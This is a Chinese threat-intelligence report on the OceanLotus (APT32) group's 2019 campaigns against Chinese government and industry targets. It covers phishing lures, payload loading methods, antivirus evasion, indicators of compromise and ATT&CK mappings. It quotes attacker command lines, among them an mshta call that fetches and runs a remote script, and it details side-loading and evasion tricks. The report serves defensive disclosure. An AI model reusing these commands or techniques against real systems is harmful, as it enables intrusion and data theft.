一、概述
"海莲花"(又名APT32、OceanLotus),被认为是来自越南的APT攻击组织,自2012年活跃以来,一直针对中国大陆的敏感目标进行攻击活动,是近几年来针对中国大陆进行攻击活动最活跃的APT攻击组织,甚至没有之一。
腾讯安全御见威胁情报中心曾在2019年上半年发布过海莲花组织2019年第一季度攻击活动报告,在报告发布之后一直到现在,我们监测到该组织针对中国大陆的攻击持续活跃。该组织的攻击目标众多且广泛,包括中国大陆的政府部门、海事机构、外交机构、大型国企、科研机构以及部分重要的私营企业等。并且我们监测到,有大量的国内目标被该组织攻击而整个内网都沦陷,且有大量的机密资料、企业服务器配置信息等被打包窃取。
此外我们发现,该组织攻击人员非常熟悉我国,对我国的时事、新闻热点、政府结构等都非常熟悉,如刚出个税改革时候,就立马使用个税改革方案做为攻击诱饵主题。此外钓鱼主题还包括绩效、薪酬、工作报告、总结报告等。
而从攻击的手法上看,相对第一季度变化不是太大,但有一些小的改进,包括攻击诱饵的种类、payload加载、绕过安全检测等方面。而从整体攻击方式来看,依然采用电子邮件投递诱饵的方式,一旦获得一台机器的控制权后,立即对整个内网进行扫描和平移渗透攻击等。这也进一步说明了APT攻击活动不会因为被曝光而停止或者有所减弱,只要攻击目标存在价值,攻击会越来越猛烈,对抗也会越来越激烈。
有关海莲花APT组织2019年对中国大陆攻击情况的完整技术报告,请参考:
二、攻击特点
2.1 钓鱼邮件的迷惑性
海莲花组织擅长使用鱼叉攻击,通过大量精准发送钓鱼邮件来投递恶意附件的方式进行攻击。整个2019年,持续对多个目标不断的进行攻击,如下列钓鱼邮件:
从邮件主题来看,大部分邮件主题都非常本土化,以及贴近时事热点。邮件主题包括:
《定-关于报送2019年度经营业绩考核目标建议材料的报告》、《组织部干部四处最新通知更新》、《关于2019下半年增加工资实施方案的请示(待审)》、《2019年工作报告提纲2(第四稿)》、《2019年5月标准干部培训课程通知》等等。
我们在2019年第一季度的报告中还提到海莲花组织采用敏感内容主题钓鱼邮件,不过在之后的攻击中并未再次发现使用该类型诱饵:
此外,投递钓鱼邮件的账号均为网易邮箱,包括126邮箱和163邮箱,账号样式为:名字拼音+数字@163(126).com,如:
Sun**@126.com、yang**@126.com、chen**@126.com、zhao**@163.com、reny**@163.com等。
2.2 诱饵类型的多样化
海莲花组织所使用的诱饵类型众多,能想到的诱饵类型海莲花几乎都用过。除了我们在第一季度报告里提到的白加黑、lnk、doc文档、WinRAR ACE漏洞(CVE-2018-20250)的压缩包等类型外,之后的攻击中还新增了伪装为word图标的可执行文件、chm文件等。
可执行文件诱饵:
Chm诱饵:
白加黑诱饵:
带有宏的恶意office文档:
恶意lnk:
带有WinRAR ACE(CVE-2018-20250)漏洞的压缩包:
2.3 载荷执行方式多变
由于诱饵的多样化,载荷执行的方式也多变。此外第二阶段的加载方式同样方式众多。
1、直接执行可执行文件
如该诱饵,伪装为word图标的可执行文件,并在文件描述里修改成了Microsoft DOCX,用于迷糊被钓鱼者。执行恶意文件后,会释放诱饵文档2019年5月标准干部培训课程通知.docx,并且打开,让受害者以为打开的就是word文档。而打开后的文档为模糊处理的文档,诱使受害者启用文档中的宏代码以查看文档内容,实际上启用宏之后,仍然看不到正常的内容:
2、使用rundll32加载恶意dll
如某诱饵在执行后,会在C:\Users\Administrator\AppData\Local\Microsoft目录释放真正的恶意文件{1888B763-A56C-4D4B-895C-2092993ECCBA}.dll,然后使用rundll32来执行该dll:"C:\Windows\system32\rundll32.exe""C:\Users\ADMINI~1\AppData\Local\Microsoft\{1888B763-A56C-4D4B-895C-2092993ECCBA}.dll",Register
3、宏
使用宏来执行载荷,且宏代码经过的混淆处理:
4、Office内存执行恶意shellcode
使用宏代码,在office中直接解密shellcode,在内存中创建线程执行:
5、dll侧加载(白加黑)
使用dll侧加载(DLL Side-Loading)技术来执行载荷,通俗的讲就是我们常说的白加黑执行。
其中所使用的宿主文件对包括:
白文件原名 | 黑dll文件名 |
---|---|
iTunesHelper.exe | AppVersions.dll |
SGTool.exe | Inetmib1.dll |
Rar.exe | ldvptask.ocx |
GoogleUpdate.exe | goopdate.dll |
360se.exe | chrome_elf.dll |
Winword.exe | wwlib.dll |
rekeywiz.exe | mpr.dll |
wps.exe | krpt.dll |
wechat.exe | WeChatWin.dll |
6、通过com技术执行
通过com技术,把某恶意dll注册为系统组建来执行:
7、Chm内嵌脚本
Chm执行后,会提示执行ActiveX代码:
其脚本内容为:
不过由于编码处理的问题,该chm打开后为乱码:
而通过手动解压后,原始内容如下:
8、使用计划任务进行持久性攻击
如上面的chm诱饵执行后,会在%AppData%\Roaming下释放文件bcdsrv.dll,然后创建名为MonthlyMaintenance的计划任务:
命令行为:C:\Windows\System32\msiexec.exe -YC:\Users\Administrator\AppData\Roaming\bcdsrv.dll
bcdsrv.dll为真正的恶意文件。
9、lnk调用mstha执行
该方法的详细分析在之前的《海莲花2019年第一季度攻击披露》:
执行lnk后,会调用命令:C:\Windows\SysWOW64\mshta.exehttp://api.baidu-json.com/feed/news.html,而news.html实际为一个vbs脚本文件。
10、使用odbcconf.exe加载文件:
odbcconf.exe为系统自带的一个文件,该文件可以用来执行dll文件,而由于宿主进程为系统文件,因此可以逃避一些安全软件的拦截:
11、WinRAR ACE(CVE-2018-20250)漏洞
带有该漏洞的压缩包,可以构造为:解压后除了会解压出正常的文件外,再在启动目录(C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\StartMenu\Programs\Startup)释放一个自解压文件:
该文件为一个自解压程序,等启动后,会释放一个{7026ce06-ee00-4ebd-b00e-f5150d86c13e}.ocx文件,然后执行命令regsv*** /s /i {7026ce06-ee00-4ebd-b00e-f5150d86c13e}.ocx执行:
2.4 多重载荷攻击
我们在最新的攻击活动中,我们首次发现海莲花使用了多重载荷的攻击。
之前的攻击活动中,都是解密shellcode后,就直接执行最终的RAT,如:
而在最新的攻击活动中,我们发现,解密shellcode后,会先下载shellcode执行,如果下载不成功,再来加载预先设定好的RAT:
这样使得攻击活动更加的丰富和多样性,并且也可控。
2.5 与安全软件对抗激烈
海莲花也采用了多种对抗安全软件的方式,主要为:
1、dll的侧加载(白加黑)
该技术上面已详细描述,这里不再赘述。
2、使用系统文件来执行:如odbcconf.exe
3、Office中直接内存执行shellcode
上文也已经描述,这里也不再展开。
4、添加垃圾数据以扩充文件大小
为了防止该文件被安全厂商收集,海莲花组织特意在某些文件的资源中添加大量的垃圾数据的方式以扩充文件大小。
如某文件,填充垃圾数据后,文件大小高达61.4 MB (64,480,256 字节):
5、每台机器的第二阶段后门都是定制的
每台机器的第二阶段后门文件都是根据当前机器的机器属性(如机器名)来加密定制的,因此每台机器上的文件hash都是不一样,且没这台机器的相关信息则无法解密。因此且即便被安全厂商捕捉,只要没有这台机器的相关遥感数据就无法解密出真正的payload。详细的见后文的"定制化后门"部分。
6、通信的伪装
如某次攻击中C2的伪装:根据配置信息,可进行不同的连接和伪装,对C2进行拼装后再进行解析。拼接方式为(xxx为配置C2):
{rand}.xxx
www6.xxx
cdn.xxx
api.xxx
HTTPHeader的伪装:
2.6 定制化的后门
使用定制化的后门(主要是第二阶段下发的后门),海莲花组织在2019年所使用的技术中最令人印象深刻的。该技术我们曾经在《2019年海莲花第一季度攻击报告》中首次曝光:针对每台机器下发的恶意文件,都使用被下发机器的相关机器属性(如机器名)进行加密,而执行则需要该部分信息,否则无法解密。因此每个下发的恶意文件都不一样,而且即便被安全厂商捕捉,只要没有该机器的相关遥感数据就无法解密出真正的payload。
该后门最终使用白加黑的方式来执行,包括AdobeUpdate.exe+goopdate.dll、KuGouUpdate.exe+goopdate.dll、XGFileCheck.exe+ goopdate.dll、SogouCloud.exe+inetmib1.dll等组合来执行。
加密流程为:
可以看到,某次针对国家某单位的攻击中,使用的密钥为:
而该受害的用户名为Cao**,可见该木马只专门为了感染该电脑而特意生成的。
2.7 多种恶意软件的选择
从我们的长期跟踪结果来看,海莲花组织使用最终的恶意软件(无论是第一阶段后门还是第二阶段后门)主要有三种,分别是CobaltStrike的beacon木马、Denis家族木马、修改版的Gh0st。其中CobaltStrike和Denis使用的最多,而修改版的Gh0st则比较少见。
CobaltStrike:
Denis:
修改版Gh0st:
2.8 持续的内网渗透
通过钓鱼攻击攻陷一台主机后,海莲花还会不断对被攻击的内网进行渗透攻击活动,以此来渗透到更多的内网机器:
扫描:
获取hash:
打包文件:
此外,还会还会通过powershell,创建计划任务来下载持久化的工具:
最终的恶意文件为goopdate.dll,跟上文所述的第二阶段下发后门一致。
三、可能存在的假旗活动
在跟踪海莲花的过程中,我们还发现了一些跟海莲花活动类似的攻击:
如:
可以看出该批活动跟海莲花的类似:如关键字、使用白加黑等。
而该文件最终的执行的恶意代码为两种:
一种是CobaltStrike生成的Beacon payload;
另一种是metasploit生成的block_reverse_http的paylaod。
虽然CobaltStrike的Beacon木马海莲花组织一直在进行使用,但是之前未发现有metasploit生成的payload,这似乎跟之前的海莲花攻击活动又有些不一致。
此外该批活动的c2都在中国境内(包括中国香港),这似乎跟之前的攻击活动也不大一样:
虽然这波活动在极力模仿海莲花的一些攻击行为,但是也依然存在不同的地方。因此暂未有更多的证据可以表明该活动归属于海莲花还是其他组织使用的假旗(false flag)活动。因此在这先不做定论,等待更多的证据和关联的依据。
四、总结
海莲花组织是近年来针对中国大陆的敏感部门进行攻击最活跃的APT组织,甚至没有之一。当然该组织也是被安全公司曝光的针对中国大陆攻击活动报告最多的APT攻击组织。尽管被安全厂商频繁曝光,该组织并未有停手迹象,反而不断更新其技术和武器库,包括诱饵、payload、新的漏洞利用等,此外也有众多跟杀软的对抗手段,如自增文件大小、混淆方式、定制化的payload等。
因此我们提醒相关部门和相关人员,切记提高安全意识,不要随意执行来历不明的邮件的附件,不要被钓鱼信息所蒙蔽。
五、安全建议
1、提升安全意识,不要打开来历不明的邮件的附件;除非文档来源可靠,用途明确,否则不要轻易启用Office的宏代码;
2、及时安装操作系统补丁和Office等重要软件的补丁;
3、使用杀毒软件防御可能的病毒木马攻击。
六、IOCs
MD5:
e7920ac10815428de937f2fca076b94c
4095b9682af13ca1e897ca9cc097ec69
b96de3d0023542f8624b82b9773373e9
5c5f8c80dcb3283afeb092cb0c13a58a
c90c7abcee1d98a8663904d739185d16
d249411f003d05c0cea012c11ba13716
3489140891e67807c550aa91c67dc4ad
22f8736bbc96c1a58ab07326d730a235
dade969b00cbc4a0c1***eeb0e740b63
3c3b2cc9ff5d7030fb01496510ac75f2
d604c33d6ec99a87a672b3202cb60fa7
861fc5624fd1920e9d9cc7a236817dd7
8e2b5b95980cf52e99acfa95f5e1570b
3c8b2d20e428f8207b4324b***f5d228
a81424e973b310edd50aed37590f4b8a
cf5d6d28c388edf58e55412983cf804a
6b8bec74620fbf88263b48c5a11b682e
9eb55481a0b5fcd255c8fb8de1042f88
5c00063b11c4710fe5a5a1adaf208b12
d30bc57624d233d94dc53a62908ef2df
886d0dd67e4cf132a1aed84263d661e3
2b3c5c831eb6b921ac128c4d44d70a7a
1dfb41e5919af80c7d0fa163a90e21e5
C&C:
360skylar.host
wechats.asis
news.shangrilaexports.com
clip.shangweidesign.com
jcdn.jsoid.com
libjs.inquirerjs.com
baidu-search.net
sys.genevrebreinl.com
ad.ssageevrenue.com
tel.caitlynwells.com
us.melvillepitcairn.com
upgrade.coldriverhardware.com
cdnwebmedia.com
43.251.100.20
43.254.217.67
114.118.80.233
七、 MITRE ATT&CK
Tactic | ID | Name |
---|---|---|
Initial Access | T1193 | Spearphishing Attachment |
Execution | T1106 | Execution through API |
| T1129 | Execution through Module Load |
| T1203 | Exploitation for Client Execution |
| T1085 | Rundll32 |
| T1204 | User Execution |
| T1223 | Compiled HTML File |
| T1053 | Scheduled Task |
| T1117 | Regsv*** |
Persistence | T1179 | Hooking |
| T1053 | Scheduled Task |
| T1060 | Registry Run Keys / Startup Folder |
Defense Evasion | T1107 | File Deletion |
| T1140 | Deobfuscate/Decode Files or Information |
| T1036 | Masquerading |
| T1112 | Modify Registry |
| T1027 | Obfuscated Files or Information |
| T1085 | Rundll32 |
| T1099 | Timestomp |
| T1117 | Regsv*** |
Credential Access | T1179 | Hooking |
| T1056 | Input Capture |
Discovery | T1083 | File and Directory Discovery |
| T1046 | Network Service Scanning |
| T1135 | Network Share Discovery |
| T1057 | Process Discovery |
| T1082 | System Information Discovery |
| T1007 | System Service Discovery |
Lateral Movement | T1534 | Internal Spearphishing |
Collection | T1005 | Data from Local System |
T1025 | Data from Removable Media | |
T1123 | Audio Capture | |
T1056 | Input Capture | |
T1113 | Screen Capture | |
T1115 | Clipboard Data | |
Command and Control | T1043 | Commonly Used Port |
T1094 | Custom Command and Control Protocol | |
T1024 | Custom Cryptographic Protocol | |
T1001 | Data Obfuscation | |
T1065 | Uncommonly Used Port |
八、参考链接
*本文作者:腾讯电脑管家,转载请注明来自FreeBuf.COM